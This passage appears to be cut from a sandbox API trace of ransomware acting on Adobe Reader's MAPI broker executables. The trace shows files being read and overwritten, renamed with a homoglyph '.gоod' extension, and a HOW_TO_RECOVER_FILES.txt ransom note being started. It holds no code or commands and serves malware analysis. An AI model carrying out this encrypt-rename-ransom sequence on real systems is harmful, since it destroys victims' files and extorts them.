lpFilePart=0x0) returned 0x49 [0106.981] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.982] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.982] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x199f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32BitMAPIBroker.exe", cAlternateFileName="32BITM~1.EXE")) returned 1 [0106.983] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 1 [0106.983] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0106.983] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0106.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0106.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0106.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers", lpFilePart=0x0) returned 0x49 [0106.983] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.983] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x199f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32BitMAPIBroker.exe", cAlternateFileName="32BITM~1.EXE")) returned 1 [0106.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 1 [0106.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 0 [0106.984] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0106.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0106.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0106.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0106.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x352ae98 | out: lpFileInformation=0x352ae98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x199f0)) returned 1 [0106.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0106.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0106.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0106.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0106.985] GetFileType (hFile=0x20c) returned 0x1 [0106.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0106.985] GetFileType (hFile=0x20c) returned 0x1 [0106.986] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0106.986] ReadFile (in: hFile=0x20c, lpBuffer=0x352b320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x352b320*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0106.987] CloseHandle (hObject=0x20c) returned 1 [0106.987] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0106.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0106.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0106.987] GetFileType (hFile=0x20c) returned 0x1 [0106.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0106.988] GetFileType (hFile=0x20c) returned 0x1 [0106.988] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x199f0 [0106.988] WriteFile (in: hFile=0x20c, lpBuffer=0x352c790*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x352c790*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0106.989] CloseHandle (hObject=0x20c) returned 1 [0106.989] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0106.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0106.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0106.989] GetFileType (hFile=0x20c) returned 0x1 [0106.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0106.989] GetFileType (hFile=0x20c) returned 0x1 [0106.989] ReadFile (in: hFile=0x20c, lpBuffer=0x352eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x352eba0*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0107.717] CloseHandle (hObject=0x20c) returned 1 [0107.717] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0107.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0107.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0107.717] GetFileType (hFile=0x20c) returned 0x1 [0107.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0107.717] GetFileType (hFile=0x20c) returned 0x1 [0107.717] WriteFile (in: hFile=0x20c, lpBuffer=0x3403178*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x3403178*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0107.718] CloseHandle (hObject=0x20c) returned 1 [0107.718] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0107.718] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe.gоod", lpFilePart=0x0) returned 0x62 [0107.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0107.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3c6be047, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19a00)) returned 1 [0107.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0107.718] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\32BitMAPIBroker.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\32bitmapibroker.exe.gоod")) returned 1 [0107.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0107.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0107.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x364f598 | out: lpFileInformation=0x364f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0)) returned 1 [0107.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0107.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0107.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0107.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0107.719] GetFileType (hFile=0x20c) returned 0x1 [0107.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0107.719] GetFileType (hFile=0x20c) returned 0x1 [0107.720] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0107.720] ReadFile (in: hFile=0x20c, lpBuffer=0x364fa20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x364fa20*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0107.722] CloseHandle (hObject=0x20c) returned 1 [0107.722] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0107.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0107.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0107.723] GetFileType (hFile=0x20c) returned 0x1 [0107.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0107.723] GetFileType (hFile=0x20c) returned 0x1 [0107.723] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x3b7f0 [0107.723] WriteFile (in: hFile=0x20c, lpBuffer=0x3650cf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x3650cf0*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0107.724] CloseHandle (hObject=0x20c) returned 1 [0107.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0107.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0107.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0107.724] GetFileType (hFile=0x20c) returned 0x1 [0107.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0107.724] GetFileType (hFile=0x20c) returned 0x1 [0107.724] ReadFile (in: hFile=0x20c, lpBuffer=0x3652fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x3652fe8*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0108.204] CloseHandle (hObject=0x20c) returned 1 [0108.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0108.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0108.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0108.205] GetFileType (hFile=0x20c) returned 0x1 [0108.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0108.205] GetFileType (hFile=0x20c) returned 0x1 [0108.205] WriteFile (in: hFile=0x20c, lpBuffer=0x3431f30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x3431f30*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0108.205] CloseHandle (hObject=0x20c) returned 1 [0108.205] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe", lpFilePart=0x0) returned 0x5d [0108.205] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe.gоod", lpFilePart=0x0) returned 0x62 [0108.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0108.205] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cb44146, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b800)) returned 1 [0108.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0108.205] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\64BitMAPIBroker.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\64bitmapibroker.exe.gоod")) returned 1 [0108.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x62 [0108.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0108.206] CreateFileW 